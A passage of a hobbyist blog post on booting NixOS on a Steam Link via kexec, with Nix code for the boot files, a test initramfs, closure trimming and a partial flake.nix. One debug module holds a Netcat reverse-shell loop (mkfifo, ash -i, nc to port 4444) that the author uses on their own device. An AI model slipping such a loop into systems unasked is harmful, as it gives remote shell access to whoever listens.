</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">      files=(
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">        </span><span style="color:#79a8ff">${</span>kernel<span style="color:#79a8ff">}</span><span style="color:#79a8ff">/</span><span style="color:#79a8ff">${</span>config<span style="color:#00d3d0">.</span>system<span style="color:#00d3d0">.</span>boot<span style="color:#00d3d0">.</span>loader<span style="color:#00d3d0">.</span>kernelFile<span style="color:#79a8ff">}</span><span style="color:#79a8ff">
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">        </span><span style="color:#79a8ff">${</span>initialRamdisk<span style="color:#79a8ff">}</span><span style="color:#79a8ff">/</span><span style="color:#79a8ff">${</span>config<span style="color:#00d3d0">.</span>system<span style="color:#00d3d0">.</span>boot<span style="color:#00d3d0">.</span>loader<span style="color:#00d3d0">.</span>initrdFile<span style="color:#79a8ff">}</span><span style="color:#79a8ff">
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">        </span><span style="color:#79a8ff">${</span>config<span style="color:#00d3d0">.</span>hardware<span style="color:#00d3d0">.</span>deviceTree<span style="color:#00d3d0">.</span>package<span style="color:#79a8ff">}</span><span style="color:#79a8ff">/</span><span style="color:#79a8ff">${</span>dtb<span style="color:#79a8ff">}</span><span style="color:#79a8ff">
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">        </span><span style="color:#79a8ff">${</span>self<span style="color:#00d3d0">.</span>packages<span style="color:#00d3d0">.</span><span style="color:#79a8ff">${</span>system<span style="color:#79a8ff">}</span><span style="color:#00d3d0">.</span>kexecMod<span style="color:#79a8ff">}</span><span style="color:#79a8ff">/lib/modules/3.8.13-mrvl/extra/kexec_load.ko
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">        </span><span style="color:#79a8ff">${</span>pkgs<span style="color:#00d3d0">.</span>pkgsStatic<span style="color:#00d3d0">.</span>kexec-tools<span style="color:#79a8ff">}</span><span style="color:#79a8ff">/bin/kexec
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">      )
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">      for f in </span><span style="color:#79a8ff">&#39;&#39;$</span><span style="color:#79a8ff">{files[@]}; do
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">        cp $f ./
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">      done
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">      # factory_test/run.sh will run before this has a chance to
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">      # enable ssh; uncomment if not booting straight into NixOS
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">      # mkdir -p steamlink/config/system
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">      # touch steamlink/config/system/enable_ssh.txt
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">      mkdir -p steamlink/factory_test
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">      cp </span><span style="color:#79a8ff">${</span>kexecScript<span style="color:#79a8ff">}</span><span style="color:#79a8ff"> steamlink/factory_test/run.sh
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">      popd
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">    &#39;&#39;</span>;
</span></span><span style="display:flex;"><span>    populateRootCommands <span style="color:#00d3d0">=</span> <span style="color:#79a8ff">&#34;&#34;</span>;
</span></span><span style="display:flex;"><span>  };
</span></span><span style="display:flex;"><span>};</span></span></code></pre></div>
</details>

<p>Testing that the <kbd>kexec</kbd> handoff works was really tricky because the HDMI output doesn&rsquo;t work with the kernel I&rsquo;m using, and since I decided not to open up the device to get at the UART I was flying completely blind.
I decided to test with a minimal (slop) Busybox-based initramfs that rebooted after a variable amount of time to indicate success.</p>





  
  
    

  
  
    









<details open>
  
  <summary>Nix</summary>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-nix" data-lang="nix"><span style="display:flex;"><span>initramfs <span style="color:#00d3d0">=</span> pkgs<span style="color:#00d3d0">.</span>buildPackages<span style="color:#00d3d0">.</span>runCommand <span style="color:#79a8ff">&#34;build-initramfs&#34;</span> {}
</span></span><span style="display:flex;"><span>  <span style="color:#79a8ff">&#39;&#39;
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">    mkdir initramfs; cd initramfs
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">    mkdir -pv {etc,proc,sys,usr/{bin,sbin}}
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">    cp -a </span><span style="color:#79a8ff">${</span>pkgs<span style="color:#00d3d0">.</span>pkgsStatic<span style="color:#00d3d0">.</span>busybox<span style="color:#79a8ff">}</span><span style="color:#79a8ff">/{bin,sbin} .
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">    chmod 755 ./{bin,sbin}
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">    cat &lt;&lt;EOF &gt; init
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">    #!/bin/sh
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">    mount -t proc none /proc
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">    mount -t sysfs none /sys
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">    mount -t devtmpfs devtmpfs /dev
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">    mkdir -p /mnt
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">    try_mount() {
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">      dev=&#34;$1&#34;
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">      fs=&#34;$2&#34;
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">      if [ &#34;$fs&#34; = auto ]; then
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">        mount -o rw &#34;$dev&#34; /mnt 2&gt;/dev/null || return 1
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">      else
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">        mount -t &#34;$fs&#34; -o rw &#34;$dev&#34; /mnt 2&gt;/dev/null || return 1
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">      fi
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">      marker=kexec-mounted-ok
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">      if [ -f /mnt/zImage ]; then
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">        marker=kexec-steamlink-ok
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">      fi
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">      {
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">        echo &#34;device=$dev&#34;
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">        echo &#34;fs=$fs&#34;
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">        cat /proc/partitions
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">      } &gt; &#34;/mnt/$marker&#34; 2&gt;/dev/null &amp;&amp; sync
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">      umount /mnt
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">      sleep 10
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">      reboot -f
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">    }
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">    for dev in /dev/mmcblk*p* /dev/sd[a-z][0-9]* /dev/vd[a-z][0-9]*; do
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">      [ -b &#34;$dev&#34; ] || continue
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">      try_mount &#34;$dev&#34; vfat
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">      try_mount &#34;$dev&#34; ext4
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">      try_mount &#34;$dev&#34; auto
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">    done
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">    sleep 45
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">    reboot -f
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">    EOF
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">    chmod +x init
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">    find . -print0 | </span><span style="color:#79a8ff">${</span>lib<span style="color:#00d3d0">.</span>getExe pkgs<span style="color:#00d3d0">.</span>buildPackages<span style="color:#00d3d0">.</span>cpio<span style="color:#79a8ff">}</span><span style="color:#79a8ff"> --null -ov --format=newc &gt; $out
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">  &#39;&#39;</span>;</span></span></code></pre></div>
</details>

<p>Once I knew that worked, I switched to the NixOS initrd with <kbd>boot.initrd.network.enable = true</kbd> and used a Netcat based reverse shell to my laptop&rsquo;s IP for further debugging.</p>





  
  
    

  
  
    









<details open>
  
  <summary>Nix</summary>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-nix" data-lang="nix"><span style="display:flex;"><span>debugModule <span style="color:#00d3d0">=</span> { lib<span style="color:#00d3d0">,</span> <span style="color:#00d3d0">...</span> }: {
</span></span><span style="display:flex;"><span>  boot<span style="color:#00d3d0">.</span>initrd<span style="color:#00d3d0">.</span>systemd<span style="color:#00d3d0">.</span>enable <span style="color:#00d3d0">=</span> lib<span style="color:#00d3d0">.</span>mkForce false;
</span></span><span style="display:flex;"><span>  boot<span style="color:#00d3d0">.</span>initrd<span style="color:#00d3d0">.</span>kernelModules <span style="color:#00d3d0">=</span> [ <span style="color:#79a8ff">&#34;pxa168_eth&#34;</span> ];
</span></span><span style="display:flex;"><span>  boot<span style="color:#00d3d0">.</span>initrd<span style="color:#00d3d0">.</span>availableKernelModules <span style="color:#00d3d0">=</span> [ <span style="color:#79a8ff">&#34;reset_berlin&#34;</span> ];
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  boot<span style="color:#00d3d0">.</span>initrd<span style="color:#00d3d0">.</span>network<span style="color:#00d3d0">.</span>enable <span style="color:#00d3d0">=</span> true;
</span></span><span style="display:flex;"><span>  boot<span style="color:#00d3d0">.</span>initrd<span style="color:#00d3d0">.</span>network<span style="color:#00d3d0">.</span>udhcpc<span style="color:#00d3d0">.</span>enable <span style="color:#00d3d0">=</span> false;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  boot<span style="color:#00d3d0">.</span>kernelParams <span style="color:#00d3d0">=</span> [
</span></span><span style="display:flex;"><span>    <span style="color:#79a8ff">&#34;ip=192.168.2.2::192.168.2.1:255.255.255.0:stm-link:eth0:off&#34;</span>
</span></span><span style="display:flex;"><span>  ];
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  boot<span style="color:#00d3d0">.</span>initrd<span style="color:#00d3d0">.</span>network<span style="color:#00d3d0">.</span>postCommands <span style="color:#00d3d0">=</span> <span style="color:#79a8ff">&#39;&#39;
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">    mac_peer=192.168.2.1
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">    stm_link_ip=192.168.2.2
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">    echo &#34;initrd net debug: interfaces: $(ls /sys/class/net)&#34; &gt; /dev/kmsg
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">    for iface_path in /sys/class/net/*; do
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">      iface=&#34;</span><span style="color:#79a8ff">&#39;&#39;$</span><span style="color:#79a8ff">{iface_path##*/}&#34;
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">      [ &#34;$iface&#34; != lo ] || continue
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">      echo &#34;initrd net debug: configuring $iface&#34; &gt; /dev/kmsg
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">      ip link set dev &#34;$iface&#34; up || true
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">      ip address flush dev &#34;$iface&#34; || true
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">      ip address add &#34;$stm_link_ip/24&#34; dev &#34;$iface&#34; || true
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">    done
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">    (
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">      while true; do
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">        ping -c 1 -W 1 &#34;$mac_peer&#34;
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">        sleep 2
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">      done
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">    ) &amp;
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">    (
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">      while true; do
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">        rm -f /tmp/revsh
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">        mkfifo /tmp/revsh
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">        /bin/ash -i &lt; /tmp/revsh 2&gt;&amp;1 | nc &#34;$mac_peer&#34; 4444 &gt; /tmp/revsh
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">        rm -f /tmp/revsh
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">        sleep 2
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">      done
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">    ) &amp;
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">  &#39;&#39;</span>;
</span></span><span style="display:flex;"><span>};</span></span></code></pre></div>
</details>

<p>The main things I needed to figure out at this stage were adding <code>reset_berlin</code> to <kbd>boot.initrd.availableKernelModules</kbd> to allow reading from the USB drive and using the old NixOS initrd system in lieu of the new systemd-based version (<kbd>boot.initrd.systemd.enable = lib.mkForce false</kbd>).</p>
<p>Finally I was able to boot into userspace and connect over SSH! 🥳</p>
<p>That having been said, the USB image I was booting from was weighing in at a hefty 2.3GB&hellip; surely we can do better.</p>
<h2 id="trimming-the-fat">Trimming the fat</h2>
<p>I was surprised that there wasn&rsquo;t a definitive guide for reducing NixOS closure sizes; I found some NixOS Discourse questions and a few blog posts, but the most useful writeups were <a href="https://sidhion.com/blog/nixos_server_issues">NixOS is a good server OS, except when it isn&rsquo;t</a> and <a href="https://natkr.com/2026-06-19-nixos-but-smol/">I can haz smoller NixOS ISOs?</a>.
Those are good resources, but because we&rsquo;re targeting actual hardware instead of a VM we must necessarily be more conservative in what we cut.</p>





  
  
    

  
  
    









<details open>
  
  <summary>Nix</summary>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-nix" data-lang="nix"><span style="display:flex;"><span>minimal <span style="color:#00d3d0">=</span> { modulesPath<span style="color:#00d3d0">,</span> pkgs<span style="color:#00d3d0">,</span> <span style="color:#00d3d0">...</span> }: {
</span></span><span style="display:flex;"><span>  imports <span style="color:#00d3d0">=</span> [
</span></span><span style="display:flex;"><span>    (modulesPath <span style="color:#00d3d0">+</span> <span style="color:#79a8ff">&#34;/profiles/minimal.nix&#34;</span>)
</span></span><span style="display:flex;"><span>    (modulesPath <span style="color:#00d3d0">+</span> <span style="color:#79a8ff">&#34;/profiles/headless.nix&#34;</span>)
</span></span><span style="display:flex;"><span>    <span style="color:#a8a8a8"># (modulesPath + &#34;/profiles/perlless.nix&#34;)</span>
</span></span><span style="display:flex;"><span>  ];
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  disabledModules <span style="color:#00d3d0">=</span> [
</span></span><span style="display:flex;"><span>    (modulesPath <span style="color:#00d3d0">+</span> <span style="color:#79a8ff">&#34;/profiles/base.nix&#34;</span>)
</span></span><span style="display:flex;"><span>  ];
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  boot<span style="color:#00d3d0">.</span>loader <span style="color:#00d3d0">=</span> {
</span></span><span style="display:flex;"><span>    grub<span style="color:#00d3d0">.</span>enable <span style="color:#00d3d0">=</span> false;
</span></span><span style="display:flex;"><span>    systemd-boot<span style="color:#00d3d0">.</span>enable <span style="color:#00d3d0">=</span> false;
</span></span><span style="display:flex;"><span>    supportsInitrdSecrets <span style="color:#00d3d0">=</span> false;
</span></span><span style="display:flex;"><span>  };
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  boot<span style="color:#00d3d0">.</span>initrd<span style="color:#00d3d0">.</span>systemd<span style="color:#00d3d0">.</span>enable <span style="color:#00d3d0">=</span> lib<span style="color:#00d3d0">.</span>mkForce false;
</span></span><span style="display:flex;"><span>  boot<span style="color:#00d3d0">.</span>initrd<span style="color:#00d3d0">.</span>availableKernelModules <span style="color:#00d3d0">=</span> lib<span style="color:#00d3d0">.</span>mkForce [
</span></span><span style="display:flex;"><span>    <span style="color:#79a8ff">&#34;reset_berlin&#34;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#79a8ff">&#34;uas&#34;</span>
</span></span><span style="display:flex;"><span>  ];
</span></span><span style="display:flex;"><span>  boot<span style="color:#00d3d0">.</span>kernelModules <span style="color:#00d3d0">=</span> [
</span></span><span style="display:flex;"><span>    <span style="color:#79a8ff">&#34;pxa168_eth&#34;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#79a8ff">&#34;mwifiex_sdio&#34;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#79a8ff">&#34;btmrvl_sdio&#34;</span>
</span></span><span style="display:flex;"><span>  ];
</span></span><span style="display:flex;"><span>  hardware<span style="color:#00d3d0">.</span>firmware <span style="color:#00d3d0">=</span> lib<span style="color:#00d3d0">.</span>mkForce (<span style="color:#b6a0ff">with</span> pkgs; [
</span></span><span style="display:flex;"><span>    (runCommand <span style="color:#79a8ff">&#34;marvell-firmware&#34;</span> {} <span style="color:#79a8ff">&#39;&#39;
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">      mkdir -p $out/lib/firmware/mrvl
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">      cp </span><span style="color:#79a8ff">${</span>linux-firmware<span style="color:#79a8ff">}</span><span style="color:#79a8ff">/lib/firmware/mrvl/sd8897_uapsta.bin $out/lib/firmware/mrvl/
</span></span></span><span style="display:flex;"><span><span style="color:#79a8ff">    &#39;&#39;</span>)
</span></span><span style="display:flex;"><span>    wireless-regdb
</span></span><span style="display:flex;"><span>  ]);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  documentation<span style="color:#00d3d0">.</span>enable <span style="color:#00d3d0">=</span> false;
</span></span><span style="display:flex;"><span>  programs<span style="color:#00d3d0">.</span>command-not-found<span style="color:#00d3d0">.</span>enable <span style="color:#00d3d0">=</span> lib<span style="color:#00d3d0">.</span>mkDefault false;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  networking<span style="color:#00d3d0">.</span>networkmanager<span style="color:#00d3d0">.</span>enable <span style="color:#00d3d0">=</span> false;
</span></span><span style="display:flex;"><span>  networking<span style="color:#00d3d0">.</span>firewall<span style="color:#00d3d0">.</span>enable <span style="color:#00d3d0">=</span> false;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  xdg<span style="color:#00d3d0">.</span>icons<span style="color:#00d3d0">.</span>enable  <span style="color:#00d3d0">=</span> false;
</span></span><span style="display:flex;"><span>  xdg<span style="color:#00d3d0">.</span>mime<span style="color:#00d3d0">.</span>enable   <span style="color:#00d3d0">=</span> false;
</span></span><span style="display:flex;"><span>  xdg<span style="color:#00d3d0">.</span>sounds<span style="color:#00d3d0">.</span>enable <span style="color:#00d3d0">=</span> false;
</span></span><span style="display:flex;"><span>  fonts<span style="color:#00d3d0">.</span>fontconfig<span style="color:#00d3d0">.</span>enable <span style="color:#00d3d0">=</span> false;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  programs<span style="color:#00d3d0">.</span>nano<span style="color:#00d3d0">.</span>enable <span style="color:#00d3d0">=</span> false;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  system<span style="color:#00d3d0">.</span>disableInstallerTools <span style="color:#00d3d0">=</span> true;
</span></span><span style="display:flex;"><span>  system<span style="color:#00d3d0">.</span>switch<span style="color:#00d3d0">.</span>enable <span style="color:#00d3d0">=</span> false;
</span></span><span style="display:flex;"><span>  system<span style="color:#00d3d0">.</span>nixos-init<span style="color:#00d3d0">.</span>enable <span style="color:#00d3d0">=</span> false;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  nix<span style="color:#00d3d0">.</span>enable <span style="color:#00d3d0">=</span> false;
</span></span><span style="display:flex;"><span>  systemd<span style="color:#00d3d0">.</span>services<span style="color:#00d3d0">.</span>register-nix-paths <span style="color:#00d3d0">=</span> lib<span style="color:#00d3d0">.</span>mkForce {};
</span></span><span style="display:flex;"><span>};</span></span></code></pre></div>
</details>

<p>Here are the main things that came up during the slim-ening:</p>
<ul>
<li>We only need one firmware blob from the massive <kbd>linux-firmware</kbd> package (1.8GB compressed!), so we can save a huge amount of space by only adding that blob to <kbd>hardware.firmware</kbd>
<ul>
<li>On a similar note it should be possible to use a kconfig tailored for the Steam Link hardware to build a smaller kernel, but this seemed like more trouble than it was worth</li>
</ul>
</li>
<li>OpenSSH does not seem to like it when <kbd>i18n.glibcLocales</kbd> or the <kbd>security.wrappers</kbd> module are removed</li>
<li>The <kbd>kexec</kbd> boot flow renders most of the NixOS system administration utilities irrelevant; as a matter of fact, Nix itself is not very useful on such a system, so we can save space by getting rid of that too</li>
<li>I feel like it should be possible to disable <kbd>boot.initrd</kbd> and <kbd>boot.kernel</kbd> because we provide the kernel/initrd/DTB from the FAT32 partition when we <kbd>kexec</kbd>, but I was never able to disable these without breaking the boot process</li>
<li>If I could switch to the systemd-based initrd I could enable the &ldquo;perlless&rdquo; NixOS module to remove Perl from the system closure for additional savings</li>
</ul>
<p>After reaching a point of diminshing returns and most new changes breaking my system, I declared the 1.2GB disk image I had to be &ldquo;good enough&rdquo;.</p>
<h2 id="files">Files</h2>
<p>The Nix flake I used and the source for the <kbd>kexec_mod</kbd> kernel module can be downloaded <a href="/infecting-the-steam-link-with-nixos/steamlink-nixos.tar.gz">here</a>.
The same <code>flake.nix</code> is reproduced below for your convenience.</p>





  
  
    

  
  
    









<details >
  
  <summary><div class="named-src">
      <span>Nix</span>
      <span>flake.nix</span>
    </div>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-nix" data-lang="nix"><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span>  inputs<span style="color:#00d3d0">.</span>nixpkgs<span style="color:#00d3d0">.</span>url <span style="color:#00d3d0">=</span> <span style="color:#79a8ff">&#34;github:NixOS/nixpkgs/nixos-unstable&#34;</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  outputs <span style="color:#00d3d0">=</span> { self<span style="color:#00d3d0">,</span> nixpkgs }:
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">let</span>
</span></span><span style="display:flex;"><span>      <span style="color:#b6a0ff">inherit</span> (nixpkgs) lib;
</span></span><span style="display:flex;"><span>      system <span style="color:#00d3d0">=</span> <span style="color:#79a8ff">&#34;armv7l-linux&#34;</span>;
</span></span><span style="display:flex;"><span>      <span style="color:#a8a8a8"># hostSystem should be linux but does not have to be arm (x86 should work)</span>
</span></span><span style="display:flex;"><span>      hostSystem <span style="color:#00d3d0">=</span> <span style="color:#79a8ff">&#34;aarch64-linux&#34;</span>;
</span></span><span style="display:flex;"><span>      pkgs <span style="color:#00d3d0">=</span> (<span style="color:#b6a0ff">import</span> nixpkgs {
</span></span><span style="display:flex;"><span>        system <span style="color:#00d3d0">=</span> hostSystem;
</span></span><span style="display:flex;"><span>        crossSystem <span style="color:#00d3d0">=</span> {
</span></span><span style="display:flex;"><span>          config <span style="color:#00d3d0">=</span> <span style="color:#79a8ff">&#34;armv7l-unknown-linux-gnueabihf&#34;</span>;
</span></span><span style="display:flex;"><span>        };
</span></span><span style="display:flex;"><span>        overlays <span style="color:#00d3d0">=</span> [
</span></span><span style="display:flex;"><span>          <span style="color:#a8a8a8"># https://github.com/NixOS/nixpkgs/issues/388309</span>
</span></span><span style="display:flex;"><span>          (self: super: {
</span></span><span style="display:flex;"><span>            efivar <span style="color:#00d3d0">=</span> self<span style="color:#00d3d0">.</span>emptyDirectory;
</span></span><span style="display:flex;"><span>            efibootmgr <span style="color:#00d3d0">=</span> self<span style="color:#00d3d0">.</span>emptyDirectory;
</span></span><span style="display:flex;"><span>          })
</span></span><span style="display:flex;"><span>        ];
</span></span><span style="display:flex;"><span>      })<span style="color:#00d3d0">.</span>__splicedPackages;
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">in</span> {
</span></span><span style="display:flex;"><span>      nixosModules <span style="color:#00d3d0">=</span> {
</span></span><span style="display:flex;"><span>        <span style="color:#a8a8a8"># https://sidhion.com/blog/nixos_server_issues</span>
</span></span><span style="display:flex;"><span>        <span style="color:#a8a8a8"># https://discourse.nixos.org/t/how-to-have-a-minimal-nixos/22652/4</span>
</span></span><span style="display:flex;"><span>        minimal <span style="color:#00d3d0">=</span> { modulesPath<span style="color:#00d3d0">,</span> pkgs<span style="color:#00d3d0">,</span> <span style="color:#00d3d0">...</span> }: {
</span></span><span style="display:flex;"><span>          imports <span style="color:#00d3d0">=</span> [
</span></span><span style="display:flex;"><span>            (modulesPath <span style="color:#00d3d0">+</span> <span style="color:#79a8ff">&#34;/profiles/minimal.nix&#34;</span>)
</span></span><span style="display:flex;"><span>            (modulesPath <span style="color:#00d3d0">+</span> <span style="color:#79a8ff">&#34;/profiles/headless.nix&#34;</span>)
</span></span><span style="display:flex;"><span>          ];
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>          disabledModules <span style="color:#00d3d0">=</span> [
</span></span><span style="display:flex;"><span>            (modulesPath <span style="color:#00d3d0">+</span> <span style="color:#79a8ff">&#34;/profiles/base.nix&#34;</span>)
</span></span><span style="display:flex;"><span>          ];
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>          boot<span style="color:#00d3d0">.</span>loader <span style="color:#00d3d0">=</span> {
</span></span><span style="display:flex;"><span>            grub<span style="color:#00d3d0">.</span>enable <span style="color:#00d3d0">=</span> false;
</span></span><span style="display:flex;"><span>            systemd-boot<span style="color:#00d3d0">.</span>enable <span style="color:#00d3d0">=</span> false;
</span></span><span style="display:flex;"><span>            supportsInitrdSecrets <span style="color:#00d3d0">=</span> false;
</span></span><span style="display:flex;"><span>          };
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>          <span style="color:#a8a8a8"># systemd initrd did not work for me; you could add the perlless profile if you got it working</span>
</span></span><span style="display:flex;"><span>          boot<span style="color:#00d3d0">.</span>initrd<span style="color:#00d3d0">.</span>systemd<span style="color:#00d3d0">.</span>enable <span style="color:#00d3d0">=</span> lib<span style="color:#00d3d0">.</span>mkForce false;
</span></span><span style="display:flex;"><span>          boot<span style="color:#00d3d0">.</span>initrd<span style="color:#00d3d0">.</span>availableKernelModules <span style="color:#00d3d0">=</span> lib<span style="color:#00d3d0">.</span>mkForce [
</span></span><span style="display:flex;"><span>            <span style="color:#79a8ff">&#34;reset_berlin&#34;</span>
</span></span><span style="display:flex;"><span>            <span style="color:#79a8ff">&#34;uas&#34;</span>
</span></span><span style="display:flex;"><span>          ];
</span></span><span style="display:flex;"><span>          boot<span style="color:#00d3d0">.</span>kernelModules <span style="color:#00d3d0">=</span> [
</span></span><span style="display:flex;"><span>            <span style="color:#79a8ff">&#34;pxa168_eth&#34;</span>
</span></span><span style="display:flex;"><span>            <span style="color:#79a8ff">&#34;mwifiex_sdio&#34;</span>
</span></span><span style="display:flex;"><span>            <span style="color:#79a8ff">&#34;btmrvl_sdio&#34;</span>
</span></span><span style="display:flex;"><span>          ];
</span></span><span style="display:flex;"><span>          hardware<span style="color:#00d3d0">.</span>firmware <span style="color:#00d3d0">=</span> lib<span style="color:#00d3d0">.</span>mkForce (<span style="color:#b6a0ff">with</span> pkgs; [
